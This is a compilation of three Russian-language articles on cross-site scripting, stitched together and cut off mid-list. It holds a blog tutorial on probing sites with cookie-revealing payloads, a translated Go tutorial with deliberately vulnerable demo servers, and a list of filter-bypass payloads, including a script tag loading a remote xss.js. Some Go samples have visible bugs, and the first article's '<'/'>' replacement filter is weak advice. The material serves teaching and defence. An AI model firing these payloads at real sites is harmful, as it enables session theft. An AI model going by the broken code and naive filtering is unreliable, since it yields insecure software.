Только для читателей Lifeexample возможно открыть интернет-магазин на Moguta.CMS со скидкой в 15%
Здравствуйте, уважаемые читатели блога LifeExample, однажды я уже писал статью о SQL инъекциях и о том, как защитить от них сайт, теперь пришло время продолжить тему защиты сайта и раскрыть вам еще один излюбленный хакерами, способ инъекции вредоносного кода.
В данной статье я бы хотел познакомить вас с понятием xss уязвимость, а также с методами защиты сайта от xss атак.
Что такое XSS
XSS – это сокращение понятия расшифровываемое как “межсайтовый скриптинг”. В задачи межсайтового скриптинга и главной целью XSS является получение cookies пользователей атакуемого сайта путем встраивания вредоносного кода в тело HTML страницы.
В отличии от SQL инъекции , данный вид атак, с одной стороны безопасен для сервера и опасен для пользователей сайта. С другой стороны если будут украдены cookies админа, то получив доступ к панели администрирования, у хакера будет больше вероятности добраться и до БД.
Для того чтобы межсайтовый скриптинг сработал, хакеру необходимо выявить хотябы одну xss уязвимость.
Как защититься от xss
Если ваш сайт подвергается XSS атаке, вероятнее всего вы об этом узнаете не скоро, а может, и вовсе не узнаете. Поэтому для защиты от xss атак, нужно предотвращать все подобные попытки, хакеров, на корню.
Чтобы придумать метод защиты от какой либо атаки, нужно знать как эти атаки проводятся и по какому принципу работают, поэтому давайте разбираться с теорией взлома через xss уязвимости.
Как найти xss уязвимость на сайте
Процесс поиска уязвимых мест очень прост и сводится к банальному отбору страниц с формами ввода. После того как вы нашли все страницы с которых пользователи отправляют информацию на сервер, можно начинать выявление xss уязвимости.
Допустим, найденная нами форма ввода является поиском по сайту. Определить является ли эта форма xss уязвимой, можно несколькими способами, подставив в поле одну из следующих инъекций:
- <script>alert(“cookie: “+document.cookie)</script>
- “><script>alert(“cookie: “+document.cookie)</script>
- ‘><”>”><script>alert(“cookie: “+document.cookie)</script>
Если в результате вы увидели нечто подобное:
Значит вы нашли xss уязвимость, и в дальнейшем нужно будет ее защитить от атак.
Если ни один из вариантов не сработал, попробуйте вставить следующие подборки кода:
- <body onload=alert(‘xss Уязвимость’)>
- <img src=javascript:alert(‘Защита от XSS не работает’)>
- <body background=”javascript:alert(‘эй админ закрой xss уязвимости’)” >
- <style type=”text/javascript”>alert(‘Бум бум!’);</style>
Опять ничего не вышло? Тогда можете считать, что данная форма не уязвима к XSS атакам и уже защищена.
Кстати тестировать сайт на уязвимости для XSS , лучше в IE, поэтому если ранее вы подставляли вышеперечисленные действия в другом браузере попробуйте сделать тоже самое теперь в Interner Explorer.
Запомните все найденые XSS уязвимости, и не спешите завершать этап поиска слабых мест.
Кроме форм и полей ввода, XSS уязвимыми могут быть страницы обрабатывающие GET параметры.
Например, страница такого типа http://yourdomain.ru/catalog?p=3 Может оказаться большой дырой в защите сайта.
Подобно действиям проделанным ранее в поле ввода, попробуте подставить в параметр вышеперечисленные строки кода.
http://yourdomain.ru/catalog?p=”><script>alert(“cookie: “+document.cookie)
Вполне вероятно что вы вновь получите сообщение
Выводящее на показ идентификатор сессии пользователя.
Защита от XSS атак
Теперь вы имеете представление о том как проводятся XSS инъекции , и конечно же понимаете что вместо вывода сообщения, информация будет уходить в руки злоумышленника.
Внимание: кульминационный момент!
Для того чтобы защититься от XSS атак и устранить все возможные XSS уязвимости вашего сайта, достаточно перед работой с входными данными пропустить их через фильтр и заменить все опасные спец символы безопасными:
1 |
$filter = array(“<“, “>”); |
Этих двух маленьких строчек кода достаточно для избежание больших проблем. Теперь если попытаться внедрить инъекцию через адресную строку или форму ввода
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Никаких сообщений мы больше не увидим, поскольку все скобки в переменной $_GET[‘q’] будут заменены на безопасные символы «|», и JS код станет невыполнимым.
В этом примере показан способ защиты только одной переменной, на практике необходимо будет пропускать через подобный фильтр все входные параметры на всех страницах с XSS уязвимостями.
Для массовой проверки входящих данных, методами POST и GET можно использовать такую функцию:
1 |
function defender_xss($arr){ |
Кроме того будет не лишним дополнить фильтр другими символами для фильтрации:
1 |
$filter = array(“<“, “>”,“=”,” (“,“)”,“;”,“/”); |
Альтернативным способом защиты будет использование штатных PHP функций:
- strip_tags() — удаляет из строки все HTML-теги, кроме разрешённых.
- htmlspecialchars() — заменяет все спецсимволы на их HTML-аналоги.
Будьте аккуратны, strip_tags() можно обойти, используя инъекции подобного рода:
1 |
<body onload=alert(‘xss’)> |
Каким образом воруются cookie пользователей?
Не всем сразу может быть ясно, как происходит процесс получения cookie пользователей.
Все дело в том, что после выявления XSS уязвимостей, хакер создает ссылку с вредоносным кодом. В этом коде данные из куков передаются на сторонний сервер, на котором обрабатываются и сохраняются, затем пользователь перенаправляется на страницу обратно. Все это происходит незаметно для человеческого глаза, и поэтому атака остается необнаруженной.
Зараженные ссылки несущие в себе XSS атаки, попадают пользователям разнообразными способами, путем передачи ссылок в соц сетях , атах форумах и др местах скопления юзеров.
Атаки построенные по принципу межсайтингового скриптинга делятся на два типа:
- Активные XSS атаки – подразумевают внедрение ссылки в саму страницу ресурса, сделать это можно путем вставки вредоносного кода в запись БД, или загрузив картинку на сайт указав в ней ссылку с вредоносным кодом.
- Пассивные XSS атаки – пользователь сам должен вставить ссылку в адресную строку или просто кликнуть по ней.
Конечно ссылки предоставляемы хакерами, не выглядят таким образом:
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Существует множество способов закодировать содержание ссылки, таким образом скрыв смысл от жертвы. Кодировать можно в base64, hex, или использовать сторонний сервер для маршрутизации.
- http://hakerserver.com/82qdm6k
- data:text/html;base64,aHR0cDovL2luZm9zZXJ2aWNlNjozMDAwL2luZm8vc2VhcmNoLmh0bWw/cT0iPjxzY3JpcHQ+YWxlcnQoJycpPC9zY3JpcHQ+
- http://infoservice6:3000/info/search.html?q=%22%3E%3Cscript%3Ealert(»)%3C%2Fscript%3E
Согласитесь теперь сложно догадаться о том, что внутри ссылки зашифрован зловредный код. А если снабдиться ссылку красивыми вешанием лапши на уши пользователям и рассказать какая полезна эта ссылка то единицы не перейдут по ней. Но это уже из области социальной инженерии…
В дополнение к вышеприведенному способу защиты, можно использовать и защиту от XSS на сервере, прописав в .htaccess такой код:
1 |
Options +FollowSymLinks |
Итак подведем итоги, в статье XSS уязвимость и защита от XSS, мы научились выявлять XSS уязвимости на своем сайте, создали фильтр не допускающий внедрения XSS инъекций, и защитились от XSS атак.
Читайте также похожие статьи:
Чтобы не пропустить публикацию следующей статьи подписывайтесь на рассылку по E-mail или RSS ленту блога.
Перевод публикуется с сокращениями, автор оригинальной статьи Russel Jones.
Межсайтовый
скриптинг (XSS)
– это атака, которая позволяет JavaScript через
один сайт работать с другим. XSS интересен не из-за технической
сложности, а скорее потому, что он эксплуатирует некоторые из основных
механизмов безопасности браузеров и из-за огромной распространенности.
Background
Изначально Всемирная Паутина представляла собой набор статических документов HTML, которые браузер должен был отображать для просмотра пользователями. По мере развития Интернета возрастали и требования к документам, что привело к появлению JavaScript и файлов cookie: скрипты нужны для интерактивности документа, а cookies – чтобы браузеры могли сохранять его состояние.
Появление этих возможностей привело к тому, что браузеры не только визуализируют HTML,
но и вмещают в памяти в качестве API для разработчиков представление,
называемое объектной моделью документа (DOM). DOM предлагает древовидную структуру тегов HTML, а также доступ к файлам cookie для
получения состояния. Со временем модель превратилась из предназначенной преимущественно для чтения структуры в структуру read-write, обновление которой приводит к повторному рендерингу документа.
Как только документы
получили возможность запускать код, браузеры должны были определить контекст
выполнения для программ на JavaScript. Политика, которая была разработана, называется
Same-Origin и по-прежнему является одним из фундаментальных примитивов безопасности
браузера. Изначально в ней утверждалось, что JavaScript в одном документе может
получить доступ только к собственному DOM и к DOM других документов с тем же
происхождением. Позже, когда был добавлен XMLHttpRequest
и Fetch, появилась модифицированная версия Same-Origin. Эти API не могут
выдавать запросы к любому источнику, они могут только читать ответ на запросы
от того же источника.
Что же такое происхождение? Это кортеж протокола, имени хоста и порта документа.
https://www.example.com:443/app
^^^^^ ^^^^^^^^^^^^^^^ ^^^
Scheme Host Port
Политика Same-Origin
отлично помогает смягчать атаки на статические сайты, как показано на рисунке выше.
Однако с атаками на динамические ресурсы, принимающие пользовательский ввод, ситуация
немного сложнее из-за смешивания кода и данных, которая позволяет злоумышленнику
выполнять контролируемый ввод в исходном документе.
Атаки XSS обычно бывают трех видов: рефлективными, хранимыми и основанными на DOM.
Рефлективные и хранимые
XSS-атаки принципиально одинаковы, поскольку полагаются на вредоносный ввод, отправляемый на бекенд и представляющий этот ввод пользователю сервер.
Рефлективные XSS обычно возникают в виде злонамеренно созданной злоумышленником
ссылки, по которой затем переходит жертва. Хранимые XSS происходят, когда
злоумышленник загружает вредоносный ввод. Атаки на основе DOM отличаются тем,
что они происходят исключительно на стороне клиента и включают вредоносный ввод, манипулирующий DOM.
Примеры
Рефлективные атаки XSS
Ниже можно увидеть
простое веб-приложение на Go, которое отражает свой ввод (даже если
это вредоносный скрипт) обратно пользователю. Вы можете использовать это
приложение, сохранив его в файле xss1.go и запустив go run xss1.go.
package main
import (
"fmt"
"log"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
messages, ok := r.URL.Query()["message"]
if !ok {
messages = []string{"hello, world"}
}
fmt.Fprintf(w, "<html><p>%v</p></html>", messages[0])
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть
XSS-атаку, перейдите по уязвимому URL-адресу ниже.
http://localhost:8080?message=<script>alert(1)</script>
Взгляните на источник: сервер вернул документ, который выглядит примерно так, как показано во фрагменте
4. Обратите внимание, как смешение кода и данных позволило произойти этой
атаке.
<html>
<p>
<script>alert(1)</script>
</p>
</html>
Этот пример может
показаться неправдоподобным, поскольку защита XSS была явно отключена. Эта ее форма основана на эвристике с обходными путями для
различных браузеров. Она была отключена для создания кроссбраузерных примеров,
иллюстрирующих основные концепции XSS-атак. Некоторые браузеры
удаляют эту защиту: например, в Google Chrome 78
и выше вам не понадобится строка w.Header().Set(“X-XSS-Protection”, “0”), чтобы атака сработала.
Хранимые XSS-атаки
Хранимые XSS-атаки похожи на рефлективные, но пэйлоад поступает из хранилища данных, а не из ввода непосредственно. Например, злоумышленник может загрузить в веб-приложение зловреда, который затем будет показан каждому авторизованному юзеру.
Ниже приведен простой чат, который иллюстрирует этот вид атак. Вы можете сохранить приложение в файле xss2.go и
запустить с помощью команды go run xss2.go.
package main
import (
"fmt"
"log"
"net/http"
"strings"
"sync"
)
var db []string
var mu sync.Mutex
var tmpl = `
<form action="/save">
Message: <input name="message" type="text"><br>
<input type="submit" value="Submit">
</form>
%v
`
func saveHandler(w http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
db = append(db, messages[0])
http.Redirect(w, r, "/", 301)
}
func viewHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
var sb strings.Builder
sb.WriteString("<ul>")
for _, message := range db {
sb.WriteString("<li>" + message + "</li>")
}
sb.WriteString("</ul>")
fmt.Fprintf(w, tmpl, sb.String())
}
func main() {
http.HandleFunc("/", viewHandler)
http.HandleFunc("/save", saveHandler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть атаку
XSS, перейдите по ссылке http://localhost:8080 и введите сообщение <script>alert(1);</script>.
Атака делится на две
фазы:
- пейлоад сохраняется в хранилище данных в функции storeHandler;
- когда страница визуализируется во ViewHandler, пейлоад добавляется к выходным данным.
XSS-атаки на основе DOM
Такие атаки не связаны с бекендом и происходят исключительно на стороне клиента. Они интересны тем, что современные веб-приложения перемещают логику к клиенту, а атаки происходят, когда пользователь напрямую манипулирует DOM. Хорошей новостью для злоумышленников является то, что DOM имеет широкий спектр способов эксплуатации, наиболее популярными из которых являются innerHTML и document.write.
Ниже приведен пример обслуживающего статический контент веб-приложения. Код тот же, что и в
примере с рефлективными XSS, но здесь атака будет происходить полностью на
стороне клиента. Вы можете сохранить приложение в файле xss3.go и запустить его командой go run xss3.go.
package main
import (
"fmt"
"log"
"net/http"
)
const content = `
<html>
<head>
<script>
window.onload = function() {
var params = new URLSearchParams(window.location.search);
p = document.getElementById("content")
p.innerHTML = params.get("message")
};
</script>
</head>
<body>
<p id="content"></p>
</body>
</html>
`
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
fmt.Fprintf(w, content)
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть эту
атаку, перейдите по ссылке http://localhost:8080/?message=”<img src=1 onerror=alert(1);/>”. Обратите внимание, что вектор атаки немного
отличается и innerHTML не будет
выполнять скрипт напрямую, однако он добавит HTML-элементы, которые затем выполнят код на JavaScript. В приведенном примере добавляется элемент image, который запускает скрипт при возникновении ошибки (она всегда появляется, поскольку злоумышленник подставляет неверный источник).
Если хотите напрямую добавить
элемент скрипта, придется использовать другой приемник XSS. Замените
элемент script из фрагмента 6 элементом script из фрагмента 7 и перейдите
по следующей ссылке: http://localhost:8080/?message=”<script>alert(1);</script>”. Атака сработает, потому что document.write принимает элементы
скрипта напрямую.
<script>
window.onload = function() {
var params = new URLSearchParams(window.location.search);
document.open();
document.write(params.get("message"));
document.close();
};
</script>
Связанные направления атак
Хотя обычно их не называют атаками XSS, существует несколько связанных направлений, о которых стоит упомянуть.
Content-type
Всему виной
неправильная настройка типа содержимого ответов HTTP. Это может произойти как
на уровне бекенда (ответ имеет неверный набор заголовков Content-Type), так и при попытке браузера проснифферить тип MIME.
Internet Explorer был особенно восприимчив к этому, и классическим примером
является служба загрузки изображений: злоумышленник может загрузить JavaScript вместо картинки.
Браузер видит, что тип контента был установлен на image/jpg, но пейлоад содержит скрипт – он выполняется, что приводит к атаке XSS.
Urlschemes
Следующий тип атаки –
активность через URL со схемой JavaScript. Представим веб-сайт, который
позволяет пользователю контролировать цель ссылки, как показано во фрагменте 8. В этом случае злоумышленник сможет предоставить
URL, выполняющий некий JavaScript с помощью нашей схемы.
Чтобы опробовать этот
тип атаки, можно сохранить приложение в файле xss4.go, запустить командой go run xss4.go и перейти по ссылке http://localhost:8080?link=javascript:alert(1).
package main
import (
"fmt"
"log"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
links, ok := r.URL.Query()["link"]
if !ok {
messages = []string{"example.com"}
}
fmt.Fprintf(w, `<html><p><a href="%v">Next</p></html>`, links[0])
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Избавление
Единого метода
решения данной проблемы не существует, иначе XSS не был бы
такой распространенной проблемой. Фундаментальная сложность вызвана отсутствием разделения между кодом и данными. Смягчение последствий XSS
обычно включает очистку входных данных (нужно убедиться, что они не
содержат кода), экранирование выходных данных (они также не должны содержать код) и реструктуризацию приложения таким образом, чтобы код
загружался из строго определенных конечных точек.
Валидация входных данных
Первая линия защиты – проверка входных данных. Убедитесь, что их формат соответствует ожидаемым характеристикам – эдакий белый список, гарантирующий отсутствие у приложения возможности принимать код.
Валидация
данных – сложная проблема. Не существует универсального инструмента или техники
для всех ситуаций. Лучше всего структурировать приложение таким образом, чтобы
оно требовало от разработчиков продумать тип принимаемых данных и обеспечить
удобное место, где можно разместить валидатор.
Хороший тон написания
приложений на Go состоит в том, чтобы не иметь никакой логики приложения в
обработчиках запросов HTTP, а вместо этого использовать их для анализа и проверки входных данных. Затем данные отправляются
в обрабатывающую логику структуру. Обработчики запросов становятся
простыми и обеспечивают удобное централизованное расположение для контроля
правильности очистки данных.
На фрагменте 9
показано, как можно переписать saveHandler для приема символов ASCII [A-Za-z.].
func saveHandler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
re := regexp.MustCompile(`^[A-Za-z\.]+$`)
if re.Find([]byte(messages[0]))) == "" {
http.Error(w, "invalid message", 500)
}
db.Append(messages[0])
http.Redirect(w, r, "/", 301)
}
Может показаться, что
это излишнее беспокойство, но чат-приложение принимает гораздо больше, чем ограниченный набор символов. Многие принимаемые приложениями данные достаточно структурированы: адреса, номера телефонов,
почтовые индексы и тому подобные вещи могут и должны быть
проверены.
Экранирование
Следующий шаг – экранирование вывода. В случае с нашим чатом все извлеченное из базы данных включалось непосредственно в выходной документ.
Одно и то же приложение
может быть гораздо безопаснее (даже если в него была произведена инъекция кода),
если экранировать все небезопасные выходные данные. Именно это делает пакет
html/template в Go. Использование языка шаблонов и
контекстно-зависимого синтаксического анализатора для экранирования данных до
их визуализации уменьшит вероятность выполнения вредоносного кода.
Ниже приведен пример
использования пакета html/template. Сохраните приложение в файле xss5.go, а затем выполните командой go run xss5.go.
package main
import (
"bytes"
"html/template"
"io"
"log"
"net/http"
"sync"
)
var db []string
var mu sync.Mutex
var tmpl = `
<form action="/save">
Message: <input name="message" type="text"><br>
<input type="submit" value="Submit">
</form>
<ul>
{{range .}}
<li>{{.}}</li>
{{end}}
</ul>`
func saveHandler(w http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
db = append(db, messages[0])
http.Redirect(w, r, "/", 301)
}
func viewHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
t := template.New("view")
t, err := t.Parse(tmpl)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
var buf bytes.Buffer
err = t.Execute(&buf, db)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
io.Copy(w, &buf)
}
func main() {
http.HandleFunc("/", viewHandler)
http.HandleFunc("/save", saveHandler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Опробуйте использованную ранее атаку XSS, перейдя по ссылке http://localhost:8080 и введите <script>alert(1);</script>.
Обратите внимание, что предупреждение не было вызвано.
Откройте консоль браузера и посмотрите на элемент li в DOM. Интерес представляют два
свойства: innerHTML и innerText.
innerHTML: "<script>alert(1);</script>"
innerText: "<script>alert(1);</script>"
Обратите внимание, как
с помощью экранирования удалось четко разделить код и данные.
Content Security Policy
Content Security Policy (CSP) позволяет веб-приложениям определять набор доверенных источников для загрузки контента (например, скриптов). CSP можно использовать для разделения кода и данных, отказываясь от встроенных скриптов и загружая их только из определенных источников.
Написание CSP для
небольших автономных приложений является простой задачей – начните с политики,
которая по умолчанию запрещает все источники, а затем разрешите небольшой их набор.
Однако написать эффективный CSP для больших сайтов уже не так просто. Как
только сайт начинает загружать контент из внешних источников, CSP раздувается и
становится громоздким. Некоторые разработчики сдаются и включают директиву unsafe-inline, полностью разрушая теорию
CSP.
Чтобы упростить
написание CSP, в CSP3 вводится директива strict-dynamic.
Вместо того чтобы поддерживать большой белый список надежных источников,
приложение генерирует случайное число (nonce) каждый раз, когда запрашивается
страница. Этот nonce отправляется вместе с заголовками страницы и встроен в тег
script, что заставляет браузеры доверять этим скриптам с соответствующим nonce,
а также любым скриптам, которые они могут загрузить. Вместо
того, чтобы вносить скрипты в белый список и пытаться выяснить, какие еще сценарии они загружают, а затем пополнять белый список рекурсивно,
вам нужно достаточно внести в белый список импортируемый скрипт верхнего уровня.
Используя предложенный Google подход Strict CSP, рассмотрим простое приложение, принимающее
пользовательский ввод. Сохраните его в файле xss6.go, а затем выполните командой go run xss6.go.
package main
import (
"bytes"
"crypto/rand"
"encoding/base64"
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
const scriptContent = `
document.addEventListener('DOMContentLoaded', function () {
var updateButton = document.getElementById("textUpdate");
updateButton.addEventListener("click", function() {
var p = document.getElementById("content");
var message = document.getElementById("textInput").value;
p.innerHTML = message;
});
};
`
const htmlContent = `
<html>
<head>
<script src="script.js" nonce="{{ . }}"></script>
</head>
<body>
<p id="content"></p>
<div class="input-group mb-3">
<input type="text" class="form-control" id="textInput">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="button" id="textUpdate">Update</button>
</div>
</div>
<blockquote class="twitter-tweet" data-lang="en">
<a href="https://twitter.com/jack/status/20?ref_src=twsrc%5Etfw">March 21, 2006</a>
</blockquote>
<script async src="https://platform.twitter.com/widgets.js"
nonce="{{ . }}" charset="utf-8"></script>
</body>
</html>
`
func generateNonce() (string, error) {
buf := make([]byte, 16)
_, err := rand.Read(buf)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(buf), nil
}
func generateHTML(nonce string) (string, error) {
var buf bytes.Buffer
t, err := template.New("htmlContent").Parse(htmlContent)
if err != nil {
return "", err
}
err = t.Execute(&buf, nonce)
if err != nil {
return "", err
}
return buf.String(), nil
}
func generatePolicy(nonce string) string {
s := fmt.Sprintf(`'nonce-%v`, nonce)
var contentSecurityPolicy = []string{
`object-src 'none';`,
fmt.Sprintf(`script-src %v 'strict-dynamic';`, s),
`base-uri 'none';`,
}
return strings.Join(contentSecurityPolicy, " ")
}
func scriptHandler(w http.ResponseWriter, r *http.Request) {
nonce, err := generateNonce()
if err != nil {
returnError()
return
}
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "application/javascript; charset=utf-8")
w.Header().Set("Content-Security-Policy", generatePolicy(nonce))
fmt.Fprintf(w, scriptContent)
}
func htmlHandler(w http.ResponseWriter, r *http.Request) {
nonce, err := generateNonce()
if err != nil {
returnError()
return
}
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Header().Set("Content-Security-Policy", generatePolicy(nonce))
htmlContent, err := generateHTML(nonce)
if err != nil {
returnError()
return
}
fmt.Fprintf(w, htmlContent)
}
func returnError() {
http.Error(w, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
}
func main() {
http.HandleFunc("/script.js", scriptHandler)
http.HandleFunc("/", htmlHandler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
Чтобы попытаться
использовать приложение, перейдите по ссылке: http://localhost:8080 и
попробуйте отправить <img src=1 onerror”alert(1)”/> как и раньше. Эта атака сработала бы и без CSP, но
поскольку CSP не допускает inline-скриптов, вы должны увидеть примерно такой вывод в консоли браузера:
«Отказано в выполнении встроенного обработчика событий, поскольку он нарушает следующую директиву CSP: “script-src ‘nonce-XauzABRw9QtE0bzoiRmslQ==’ ‘unsafe-inline’ ‘unsafe-eval’ ‘strict-dynamic’ https: http:” Обратите внимание, что ‘unsafe-inline‘ игнорируется, если в исходном списке присутствует либо хэш, либо значение nonce.»
Почему сценарий не
запустился? Рассмотрим CSP подробнее.
script-src 'strict-dynamic' 'nonce-XauzABRw9QtE0bzoiRmslQ==';
object-src 'none';
base-uri 'none';
Что делает эта политика? Директива script-src включает strict-dynamic и значение nonce, используемое для загрузки скриптов. Это означает, что единственные скрипты, которые будут загружены, находятся в script elements, где nonce включен в атрибут, а значит inline-скрипты не загрузятся. Последние две директивы препятствуют загрузке плагинов и изменению базового URL приложения.
Основная сложность
использования этого подхода заключается в необходимости генерировать nonce и инжектить его в заголовки при каждой загрузке страницы. После этого шаблон
может быть применен ко всем загружаемым страницам.
Соответствующие методы устранения
Content-Type
Вы
должны не только устанавливать свой Content-Type, но и следить, чтобы браузеры не
пытались автоматически определить тип контента. Для этого используйте заголовок: X-Content-Type-Options:
nosniff.
Virtual doms
Хотя виртуальные домены
не являются функцией безопасности, использующие их современные фреймворки (React и Vue) могут помочь смягчить атаки XSS на основе DOM.
Эти фреймворки создают DOM параллельно с тем, который находится в браузере, и сравнивают их. Отличающуюся часть DOM браузера они обновляют. Для этого необходимо создать виртуальный DOM, что приведет к уменьшению использования клиентами innerHTML и подтолкнет разработчиков к переходу на innerText.
React требует
использования атрибута dangerouslySetInnerHTML, в то время как создатели Vue предупреждают, что использование
innerHTML может привести к появлению уязвимостей.
Заключение
Если вы дочитали до
конца, у вас может появиться желание разобраться, как работают браузеры, что такое ошибки
XSS и насколько важно понимать, как от них избавиться. XSS трудно искоренить, поскольку приложения становятся все больше и все сложнее. Применяя упомянутые в статье методы, можно сделать жизнь злоумышленников трудной.
Удачи в борьбе и учебе!
Дополнительные материалы:
- Где используется язык программирования Go?
- Конкурентность в Golang и WorkerPool
- Язык Go: как стать востребованным программистом
- 12 бесплатных ресурсов для изучения React
- 7 советов изучающему Vue.js новичку
Время на прочтение
8 мин
Количество просмотров 35K
Несмотря на большое количество рекомендаций по защите веб-приложения от клиент-сайд атак, таких как XSS (cross site scripting) многие разработчики ими пренебрегают, либо выполняют эти требования не полностью. В статье будут рассмотрены способы обхода средств фильтрации и при эксплуатации xss-векторов.
Сейчас существует довольно много способов предотвращения XSS-уязвимостей, включая защитные средства современных браузеров, пытающихся предотвратить выполнение вредоносного кода, воздействующего на пользователя. Тем не менее XSS уязвимости на протяжении последних лет уверенно входят в первую тройку OWASP. XSS уязвимости встречаются как на малопосещаемых проектах, так и на крупных — например можно посмотреть подборку последних public disclosed уязвимостей проекта hackerone — львиную долю из них занимают как раз xss уязвимости. Это касается и довольно распространенных CMS — последняя (на момент публикации статьи) версия WordPress 4.7.3. закрывает несколько XSS уязвимостей.
Защита
Основные превентивные меры:
- валидация данных
- преобразование вывода
На практике это должно быть реализовано в виде:
- исключения всех недоверенных данных из контекста (body, атрибуты, JavaScript, CSS или URL);
- использование “белых списков” на строне сервера (проверка длины, формата, логики и.д.);
- использование специализированных средств очистки данных (OWASP AntiSamy или Java HTML Sanitizer Project);
- использование атрибута HttpOnly;
- использование Content Security Policy.
Не давайте использовать недоверенные данные:
<script>...XSS...</script> в script
<!--....XSS...--> в HTML комментарии
<div ...XSS...=test /> в имени атрибута
<...XSS...... href="/test" /> в имени тега
<style>...XSS...</style> в CSS
Не давайте использовать недоверенные данные в содержимом HTML элемента:
<body> ... очищаем данные ... </ body>
<div> ... очищаем данные ... </ div>
Используйте преобразование сущностей:
& --> &
< --> <
> --> >
" --> "
' --> ' ( ' не рекомендуется)
/ --> /
Методов защиты довольно много, но одним из самых эффективных является использование Content Security Policy.
Content Security Policy
Ранее, одним из главных принципов безопасности браузеров являлась политика Same Origin Policy. Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Однако при внедрении пейлода с одного сайта на другой SOP будет бесполезен для сайта с внедренным пейлоадом. Поэтому на смену SOP пришел CSP, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. CSP описывает безопасные источники загрузки ресурсов, устанавливает правила использования встроенных стилей, скриптов, а также динамической оценки JavaScript. Самое главное — загрузка с ресурсов, не входящих в «белый список», блокируется.
Поддерживаемые директивы:
- Default-src: определение политики загрузки для всех типов ресурсов в случае, если определенная директива типа ресурса не определена (резервная);
- Script-src: какие скрипты могут использовать защищенный ресурс;
- Object-src: откуда ресурс может загружать плагины;
- Style-src: какие стили (CSS) пользователь применяет к защищенному ресурсу;
- Img -src: откуда защищенный ресурс может загружать изображения;
- Media-src: откуда защищенный ресурс может загружать видео и аудио;
- Frame-src: где защищенный ресурс может вставлять кадры;
- Font-src: где защищенный ресурс может загружать шрифты;
- Connect-src: какие URI могут быть загружены защищенным ресурсом;
- Form-action: какие URI могут использоваться как результат работы HTML-формы;
- Sandbox: определяет политику «песочницы HTML»;
- Script-nonce: выполнение сценария, требуя наличия указанного nonce для элементов сценария;
- Plugin-types: набор плагинов, которые могут быть вызваны защищенным ресурсом, путем ограничения типов ресурсов, которые могут быть встроены;
- Reflection-xss: активировать или деактивировать любые проверки, используемые для фильтрации или блокирования отраженных атак между сайтами, эквивалентные нестандартному заголовку X-XSS-Protection;
- Report-uri: указывает URI, на который агент пользователя отправляет отчеты о нарушении правил.
Выявление XSS уязвимостей
В качестве проверки наличия уязвимости можно использовать XSS-локаторы или зонды:
Простейший зонд:
'';!--"<XSS>=&{()}
Простейший JavaScript XSS:
<SCRIPT SRC=http://xss/xss.js></SCRIPT>
Пример нескольких пейлоадов для обхода возможной фильтрации:
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
Директива JavaScript:
<IMG SRC="javascript:alert('XSS');">
Регистронезависимый вектор:
<IMG SRC=JaVaScRiPt:alert('XSS')>
Обработчики событий могут быть использованы для внедрения XSS-пейлоада:
FSCommand
onAbort
onActivate
onAfterPrint
onAfterUpdate
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin
onBlur
onBounce
onCellChange
onChange
onClick
onContextMenu
onControlSelect
onCopy
onCut
onDataAvailable
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag
onDragEnd
onDragLeave
onDragEnter
onDragOver
onDragDrop
onDragStart
onDrop
onEnd
onError
onErrorUpdate
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHashChange
onHelp
onInput
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMessage
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOffline
onOnline
onOutOfSync
onPaste
onPause
onPopState
onProgress
onPropertyChange
onReadyStateChange
onRedo
onRepeat
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowsEnter
onRowExit
onRowDelete
onRowInserted
onScroll
